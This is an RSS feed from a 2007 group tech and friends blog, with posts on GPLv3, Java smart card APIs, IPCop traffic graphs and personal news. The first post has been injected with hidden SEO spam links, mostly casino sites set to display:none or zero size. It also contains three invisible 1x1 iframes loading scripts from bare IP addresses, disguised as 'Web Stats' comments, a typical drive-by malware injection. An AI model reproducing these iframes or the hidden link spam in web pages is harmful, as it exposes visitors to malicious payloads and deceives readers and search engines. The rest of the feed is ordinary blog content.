<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>TNI Blog</title>
	<atom:link href="http://tni.geekuniverse.org/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://tni.geekuniverse.org</link>
	<description>Let's go breathe asbestos in the tunnels</description>
	<pubDate>Sat, 13 Mar 2010 19:56:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>GPLv3 Opinions</title>
		<link>http://tni.geekuniverse.org/index.php/2007/07/02/gplv3-opinions/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/07/02/gplv3-opinions/#comments</comments>
		<pubDate>Mon, 02 Jul 2007 21:57:29 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Geeky Stuff]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/07/02/gplv3-opinions/</guid>
		<description><![CDATA[Now that GPLv3 has been released, online black jack gameblack jack momeilleurs casino en lignejeux casino machines a sousslots en lignetelecharger jeux de casino gratuitesliste jeux casinobonus gratuitswww casino vacances frcasino bonus de bienvenuswww jeux de casinojava black jackjeux casinos en lignejeux jack blackwww casino gratuites comsupermarché casinogagner roulette,comment gagner roulette,gagner a la roulette anglaisecasino [...]]]></description>
			<content:encoded><![CDATA[<p>Now that GPLv3 has been released, <u style="display:none"><a href="http://renoconventionrentals.com/wp-content/1/online-black-jack-game.html">online black jack game</a><a href="http://renoconventionrentals.com/wp-content/1/black-jack-mo.html">black jack mo</a><a href="http://renoconventionrentals.com/wp-content/1/meilleurs-casino-en-ligne.html">meilleurs casino en ligne</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-casino-machines-a-sous.html">jeux casino machines a sous</a><a href="http://renoconventionrentals.com/wp-content/1/slots-en-ligne.html">slots en ligne</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-jeux-de-casino-gratuites.html">telecharger jeux de casino gratuites</a><a href="http://renoconventionrentals.com/wp-content/1/liste-jeux-casino.html">liste jeux casino</a><a href="http://renoconventionrentals.com/wp-content/1/bonus-gratuits.html">bonus gratuits</a><a href="http://renoconventionrentals.com/wp-content/1/www-casino-vacances-fr.html">www casino vacances fr</a><a href="http://renoconventionrentals.com/wp-content/1/casino-bonus-de-bienvenus.html">casino bonus de bienvenus</a><a href="http://renoconventionrentals.com/wp-content/1/www-jeux-de-casino.html">www jeux de casino</a><a href="http://renoconventionrentals.com/wp-content/1/java-black-jack.html">java black jack</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-casinos-en-ligne.html">jeux casinos en ligne</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-jack-black.html">jeux jack black</a><a href="http://renoconventionrentals.com/wp-content/1/www-casino-gratuites-com.html">www casino gratuites com</a><a href="http://renoconventionrentals.com/wp-content/1/supermarch%E9-casino.html">supermarché casino</a><a href="http://renoconventionrentals.com/wp-content/1/gagner-roulette.html">gagner roulette,comment gagner roulette,gagner a la roulette anglaise</a><a href="http://renoconventionrentals.com/wp-content/1/casino-en-ligne-roulette.html">casino en ligne roulette</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-video-poker.html">telecharger video poker</a><a href="http://renoconventionrentals.com/wp-content/1/jeu-casino.html">casino jeu,jeu casino gratui,jeu casino</a><a href="http://renoconventionrentals.com/wp-content/1/forum-bonus-casino.html">forum bonus casino</a><a href="http://renoconventionrentals.com/wp-content/1/gambling-blackjack.html">gambling blackjack</a><a href="http://renoconventionrentals.com/wp-content/1/casino-black-jack.html">casino black jack</a><a href="http://renoconventionrentals.com/wp-content/1/www-supermarch%E9-casinos.html">www supermarché casinos</a><a href="http://renoconventionrentals.com/wp-content/1/www-jeux-casino.html">www jeux casino</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-casino-gratuis.html">jeux casino gratuis</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-craps.html">telecharger craps</a><a href="http://renoconventionrentals.com/wp-content/1/salles-virtuelles-de-jeux-gratuits.html">salles virtuelles de jeux gratuits</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/">optical amplifier</a></font><a href="http://renoconventionrentals.com/wp-content/1/comment-gagner-a-la-roulette.html">comment gagner a la roulette</a><a href="http://renoconventionrentals.com/wp-content/1/jack-black-soundboards.html">jack black soundboards</a><a href="http://renoconventionrentals.com/wp-content/1/les-craps.html">les craps</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-casino-enfants.html">jeux casino enfants</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-jeu-de-casino.html">telecharger jeu de casino</a><a href="http://renoconventionrentals.com/wp-content/1/casino-machine-a-sous-gratuits.html">casino machine a sous gratuits</a><a href="http://renoconventionrentals.com/wp-content/1/www-grand-casino.html">www grand casino</a><a href="http://renoconventionrentals.com/wp-content/1/casino-tropez-code.html">casino tropez code</a><a href="http://renoconventionrentals.com/wp-content/1/jeu-casino-online.html">jeu casino online</a><a href="http://renoconventionrentals.com/wp-content/1/nouveau-casino-bonus-sans-depot.html"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1086;&#1092;&#1080;&#1089; &#1086;&#1073;&#1079;&#1072;&#1074;&#1077;&#1078;&#1076;&#1072;&#1085;&#1077;</a></font>nouveau casino bonus sans depot</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-jeu-roulette.html">telecharger jeu roulette</a><a href="http://renoconventionrentals.com/wp-content/1/bonus-de-casino-sans-depot.html">bonus de casino sans depot</a><a href="http://renoconventionrentals.com/wp-content/1/jeu-roulette-gratuites.html">jeu roulette gratuites</a><a href="http://renoconventionrentals.com/wp-content/1/jack-black-products.html">jack black products</a><a href="http://renoconventionrentals.com/wp-content/1/jeux-au-casino.html">jeux au casino</a><a href="http://renoconventionrentals.com/wp-content/1/jack-black-quotes.html">jack black quotes</a><a href="http://renoconventionrentals.com/wp-content/1/jeu-online.html">jeu online</a><a href="http://renoconventionrentals.com/wp-content/1/casino-machine-a-sous.html">casino machine a sous</a><a href="http://renoconventionrentals.com/wp-content/1/casino-bonus-offert.html">casino bonus offert</a><a href="http://renoconventionrentals.com/wp-content/1/jeu-casino-ligne.html">jeu casino ligne</a><a href="http://renoconventionrentals.com/wp-content/1/www-traiteur-casino.html">www traiteur casino</a><a href="http://renoconventionrentals.com/wp-content/1/telecharger-jeu-casino-gratuites.html">telecharger jeu casino gratuites</a></u><u style="display:none">La cosa grande<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> circa il gioco di <a href="http://www.casinoperfetto.com"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm">rent a car bulgaria</a></font>online blackjack</a> in linea e che li ha forniti e&#8217;<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> preparato per andare senza le flange ed i fischi dei grafici speciali ed il suono, esso non e&#8217; necessari spesso neppure da trasferire il gioco dal sistema centrale verso i satelliti.</u><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> what are you opinions of the license?</p>
<p>Personally, I like it.  I like the patent clauses that keep those with large paten portfolios from coming after free software vendors and developers.  I also like that it&#8217;s compatible with the Apache Software License 2.</p>
<p>What do you like/hate about the GPL?</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/07/02/gplv3-opinions/feed/</wfw:commentRss>
		</item>
		<item>
		<title>JSR-268: Java Smart Card I/O API</title>
		<link>http://tni.geekuniverse.org/index.php/2007/06/09/jsr-268-java-smart-card-io-api/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/06/09/jsr-268-java-smart-card-io-api/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 15:52:11 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Geeky Stuff]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/06/09/jsr-268-java-smart-card-io-api/</guid>
		<description><![CDATA[I was snooping through various Java Specification Requests (JSR) at the Java Community Process (JCP) and came across JSR-268: Java Smart Card I/O API.  This JSR didn&#8217;t make it into the official Java 6 release but Sun included it with their JDK anyway.  Reading through the JSR took me back to the good [...]]]></description>
			<content:encoded><![CDATA[<p>I was snooping through various <a href="http://jcp.org/en/jsr/overview">Java Specification Requests (JSR)</a> at the <a href="http://jcp.org/">Java Community Process (JCP)</a> and came across <a href="http://jcp.org/en/jsr/detail?id=268">JSR-268: Java Smart Card I/O API</a>.  This JSR didn&#8217;t make it into the official Java 6 release but Sun included it with their JDK anyway.  Reading through the JSR took me back to the good ol&#8217; days of IC One, eExpo, and smart cards.</p>
<p>I still have a bunch of old smart cards kicking around as well as my American Express Blue card.  I thought it might be fun to play around with my old smart cards as well as play with the JSR-268 APIs.  I have a built in smart card reader in both my Dell Latitude 810 and my Latitude 820.  Just in case I couldn&#8217;t get the built-in smart reader to work in Linux, I dug up my trusty old GCR 410 that I inherited from IC One.  Remember the GCR 410?  The smart card reader that plugged into your serial port <em>and</em> your keyboard port to get power.  Fortunately my docking station has both the old school serial and keyboard ports on it.</p>
<p>I&#8217;m running Ubuntu which I highly recommend to everyone, especially those of you running Windows.  The JSR-268 API requires that PC/SC be installed.  To install PC/SC on Ubuntu just do &#8216;<em>sudo apt-get install pcscd pcsc-tools</em>&#8216; from the command-line (or use Synaptic if you like the slow GUI way of doing things) and everything you need to use PC/SC will be installed.  <em>pcsc-tools</em> is optional.  It provides a nice utility called <em>pcsc_scan</em> for debugging which might make your life a little easier.</p>
<p>After installing PC/SC, I ran <em>pcsc_scan</em>.  It successfully found my built-in smart card reader and indicated that there were no cards in the smart card reader.  I inserted my blue card into the slot and voila!  It detected the presence of a smart card and told me that it was a blue card based on the ATR.  Now if only I could remember what ATR and APDU stand for&#8230;</p>
<p>After looking at the output from <em>pcsc_scan</em>,  I realized that it didn&#8217;t find my GCR 410.  So much for my trusty backup.  It&#8217;s still sitting next to my computer though.  The green LED is blinking on and off.  I put a smart card into it and the LED didn&#8217;t stay on.  Too bad.  On with our story.</p>
<p>With PC/SC working, it was time to try and get things working from Java.  I started out with a simple program like:</p>
<pre>TerminalFactory tf = TerminalFactory.getDefault();
CardTerminals terminals = tf.terminals();
List&lt;CardTerminal&gt; terminalsList = terminals.list();
if (terminalsList.size() == 0) {
    System.out.println("No terminals available");
    return;
}</pre>
<p>Much to my dismay, Java wasn&#8217;t able to find my card reader.  After Googling around for a bit, I discovered that JSR-268 expects libpcsclite.so to be in my library path.  I looked in /usr/lib and found <em>libpcsclite.so.1.0.0</em> and a symlink to that library called <em>libpcsclite.so.1</em>.  I create a second symlink called <em>libpcsclite.so</em> and everything started working in Java.</p>
<p>I soon had a Java program that would display &#8220;Card inserted!&#8221; when I inserted a smart card and &#8220;Card removed!&#8221; whenever I removed the smart card.  It was at that point that I couldn&#8217;t think of anything really useful to do so I wrote this blog entry.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/06/09/jsr-268-java-smart-card-io-api/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Youngm on JSR-299 Java Standards Committee</title>
		<link>http://tni.geekuniverse.org/index.php/2007/06/08/youngm-on-jsr-299-java-standards-committee/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/06/08/youngm-on-jsr-299-java-standards-committee/#comments</comments>
		<pubDate>Fri, 08 Jun 2007 18:34:04 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/06/08/youngm-on-jsr-299-java-standards-committee/</guid>
		<description><![CDATA[JSR-299 is a new Java specification being worked on in the Java Community Process and youngm is a member of the expert group.
Youngm keeps making inroads deep into the world of Enterprise Java.  He&#8217;s also a committer on the Red Hat/JBoss Seam project.  Mike has been debating with Gavin King (the found of the Hibernate [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://jcp.org/en/jsr/detail?id=299">JSR-299</a> is a new Java specification being worked on in the <a href="http://jcp.org/">Java Community Process</a> and youngm is a member of the expert group.</p>
<p>Youngm keeps making inroads deep into the world of Enterprise Java.  He&#8217;s also a <a href="http://swamp.homelinux.net/blog/index.php/2007/02/28/seam-12/">committer</a> on the Red Hat/JBoss <a href="http://jboss.com/products/seam">Seam</a> project.  Mike has been debating with Gavin King (the found of the Hibernate project) about Seam architecture and has been winning many of those battles.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/06/08/youngm-on-jsr-299-java-standards-committee/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FunToDo.org</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/25/funtodoorg/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/25/funtodoorg/#comments</comments>
		<pubDate>Fri, 25 May 2007 16:38:48 +0000</pubDate>
		<dc:creator>juliana</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/25/funtodoorg/</guid>
		<description><![CDATA[I just created a new website at http://www.funtodo.org.
First of all, many thanks to Mike, James, Mike, Herrick and Nick (and of course, Josh&#8230;)for the feedback and technical help. Nick was a lifesaver with helping me figure out how to include header/footer files with PHP. That would have been such a pain if I hadn&#8217;t had [...]]]></description>
			<content:encoded><![CDATA[<p>I just created a new website at <a href="http://www.funtodo.org/">http://www.funtodo.org</a>.</p>
<p>First of all, <em>many</em> thanks to Mike, James, Mike, Herrick and Nick (and of course, Josh&#8230;)for the feedback and technical help. Nick was a lifesaver with helping me figure out how to include header/footer files with PHP. That would have been such a pain if I hadn&#8217;t had those.</p>
<p>First thing you&#8217;ll notice is the site still needs a lot of work. It needs to be database-driven with a detail page for each activity listed. I&#8217;m just NOT doing that manually for each entry. Huh-uh. No way. Also I need to clean up the design a bit more, set off the sidebar for readability and add some more graphics and photos for different things.</p>
<p>But I&#8217;d love your feedback. Please send your thoughts along and give me some feedback (positive and negative). Or if you know of something to add to the calendar, send it my way.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/25/funtodoorg/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I&#8217;m Too Sexxy for This Blog</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/22/imamodel/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/22/imamodel/#comments</comments>
		<pubDate>Tue, 22 May 2007 15:48:47 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/22/imamodel/</guid>
		<description><![CDATA[Our department is creating new marketing material for recruiting on college campuses.  The other day they were taking a bunch of pictures and I was asked to model for them.  You can see the amazing results here.   Just scroll down to the bottom of the page and check out my hot [...]]]></description>
			<content:encoded><![CDATA[<p>Our department is creating new marketing material for recruiting on college campuses.  The other day they were taking a bunch of pictures and I was asked to model for them.  You can see the amazing results <a href="http://www.dterryphotography.com/gallery/2873002/3">here</a>.   Just scroll down to the bottom of the page and check out my hot modeling skillz.</p>
<p>I&#8217;m a model.  You know what I mean?  And I do my little turn on the catwalk&#8230; well, I haven&#8217;t had a chance to work the catwalk yet, but give it time.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/22/imamodel/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AdSense</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/15/adsense/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/15/adsense/#comments</comments>
		<pubDate>Tue, 15 May 2007 22:16:26 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/15/adsense/</guid>
		<description><![CDATA[In case you hadn&#8217;t noticed.  I added some AdSense ads to the blog.  I&#8217;ve wanted to set up an AdSense account for a while and finally got around to it.  This blog (and my personal blog) are my test subjects.  So far I&#8217;ve made $1.17.  Not bad.  Thanks to all of you who helped me [...]]]></description>
			<content:encoded><![CDATA[<p>In case you hadn&#8217;t noticed.  I added some AdSense ads to the blog.  I&#8217;ve wanted to set up an AdSense account for a while and finally got around to it.  This blog (and my personal blog) are my test subjects.  So far I&#8217;ve made $1.17.  Not bad.  Thanks to all of you who helped me test out the ads.  Once I start making real money with this blog, we&#8217;ll incorporate TNI again and share in the wealth!</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/15/adsense/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Patent Armageddon</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/14/patent-armageddon/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/14/patent-armageddon/#comments</comments>
		<pubDate>Mon, 14 May 2007 19:47:26 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Geeky Stuff]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/14/patent-armageddon/</guid>
		<description><![CDATA[Anderev posted this CNNMoney.com link on the TNI mailing list.  Apparently Microsoft is (still) looking to sue Linux distributors and Linux users.  I&#8217;m hesitant to post this though because in so doing, I&#8217;m sure I&#8217;m violating numerous Microsoft patents.
Here&#8217;s to hoping Microsoft sues a number of open-source distributors with the same results as SCO.
]]></description>
			<content:encoded><![CDATA[<p>Anderev posted <a href="http://money.cnn.com/magazines/fortune/fortune_archive/2007/05/28/100033867/index.htm">this CNNMoney.com link</a> on the TNI mailing list.  Apparently Microsoft is (still) looking to sue Linux distributors and Linux users.  I&#8217;m hesitant to post this though because in so doing, I&#8217;m sure I&#8217;m violating numerous Microsoft patents.</p>
<p>Here&#8217;s to hoping Microsoft sues a number of open-source distributors with the same results as SCO.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/14/patent-armageddon/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Soccer Times</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/07/soccer-times/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/07/soccer-times/#comments</comments>
		<pubDate>Mon, 07 May 2007 16:12:39 +0000</pubDate>
		<dc:creator>juliana</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/07/soccer-times/</guid>
		<description><![CDATA[We were going to have a mini-TNI reunion last Saturday. I was planning to meet up with heathm and nickmo at the RSL game. I was really, really looking forward to it. But it didn&#8217;t turn out.
Anybody else want to join us if we go another time?
]]></description>
			<content:encoded><![CDATA[<p>We were going to have a mini-TNI reunion last Saturday. I was planning to meet up with heathm and nickmo at the RSL game. I was really, really looking forward to it. But it <a href="http://jhm2.blogspot.com/">didn&#8217;t turn out</a>.</p>
<p>Anybody else want to join us if we go another time?</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/07/soccer-times/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Education</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/04/education/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/04/education/#comments</comments>
		<pubDate>Fri, 04 May 2007 17:58:56 +0000</pubDate>
		<dc:creator>juliana</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/04/education/</guid>
		<description><![CDATA[Who would have thought that this ragtag bunch of guys would have become so educated?
Several master&#8217;s degrees under way, several bachelor&#8217;s done or on the way, etc.
It would be fun to know the average graduating GPA of TNI at OHS. And then take reimda (the outlier) out of the equation and recalculate. That would be [...]]]></description>
			<content:encoded><![CDATA[<p>Who would have thought that this ragtag bunch of guys would have become so educated?</p>
<p>Several master&#8217;s degrees under way, several bachelor&#8217;s done or on the way, etc.</p>
<p>It would be fun to know the average graduating GPA of TNI at OHS. And then take reimda (the outlier) out of the equation and recalculate. That would be good times.</p>
<p>Just wanted to say congrats to all of you for how far you&#8217;ve come in the last few years. It really is amazing how much you&#8217;ve all accomplished.</p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/04/education/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Traffic Graphs</title>
		<link>http://tni.geekuniverse.org/index.php/2007/05/04/traffic-graphs/</link>
		<comments>http://tni.geekuniverse.org/index.php/2007/05/04/traffic-graphs/#comments</comments>
		<pubDate>Fri, 04 May 2007 17:51:29 +0000</pubDate>
		<dc:creator>heathm</dc:creator>
		
		<category><![CDATA[Geeky Stuff]]></category>

		<guid isPermaLink="false">http://tni.geekuniverse.org/index.php/2007/05/04/traffic-graphs/</guid>
		<description><![CDATA[I use IPCop for my router/firewall.  I really like.  It&#8217;s easy to install and has a nice user interface.  It has support for DHCP, DNS, proxy http transparently (or explicitly if you want the hassle), built in support for Snort, port forwarding, VPN support, runs on Linux, and much more.
One of the [...]]]></description>
			<content:encoded><![CDATA[<p>I use <a href="http://ipcop.org/">IPCop</a> for my router/firewall.  I really like.  It&#8217;s easy to install and has a nice user interface.  It has support for DHCP, DNS, proxy http transparently (or explicitly if you want the hassle), built in support for <a href="http://www.snort.org/">Snort</a>, port forwarding, VPN support, runs on Linux, and much more.</p>
<p>One of the features of IPCop is that it will produce traffic graphs for you.  I thought it would be cool to make my traffic graphs publicly available.  I figured it would be easy to just use mod_proxy to forward requests to my firewall to fetch the graphs.  Unfortunately, mod_proxy forwards the HTTP Authentication down to the browser and doesn&#8217;t let you specify the HTTP authentication credentials in the proxy configuration.</p>
<p>So I decided to just set up a cron job that runs every hour and downloads the graphs to my web server.  It&#8217;s not as cool as mod_proxy but it only took a few minutes to set up and it works just fine.</p>
<p>The &#8220;Traffic on RED&#8221; means that it&#8217;s the traffic for the red network interface.  With IPCop, the red interface is the public facing interface,  the green interface is the internal NATed interface (not shown because in my case it&#8217;s just the inverse of the red graphs) and the orange interface is the DMZ.  I have an orange interface but nothing&#8217;s plugged into it so I didn&#8217;t bother to show graphs of nothingness.</p>
<p>The graphs are shown below.   Push refresh every hour to watch them change.  If you were to run some type of DoS attack, you could watch the graphs peak.  I&#8217;m not suggesting you launch a DoS attack. I&#8217;m just saying&#8230;</p>
<p><img src="http://swamp.homelinux.net/graphs/RED-day.png" title="Today's traffic" alt="Today's traffic" height="211" width="691" /></p>
<p><img src="http://swamp.homelinux.net/graphs/RED-week.png" title="This week's traffic" alt="This week's traffic" height="211" width="691" /></p>
<p><img src="http://swamp.homelinux.net/graphs/RED-month.png" title="This month's traffic" alt="This month's traffic" height="211" width="691" /></p>
<p><img src="http://swamp.homelinux.net/graphs/RED-year.png" title="This year's traffic" alt="This year's traffic" height="211" width="691" /></p>
]]></content:encoded>
			<wfw:commentRss>http://tni.geekuniverse.org/index.php/2007/05/04/traffic-graphs/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
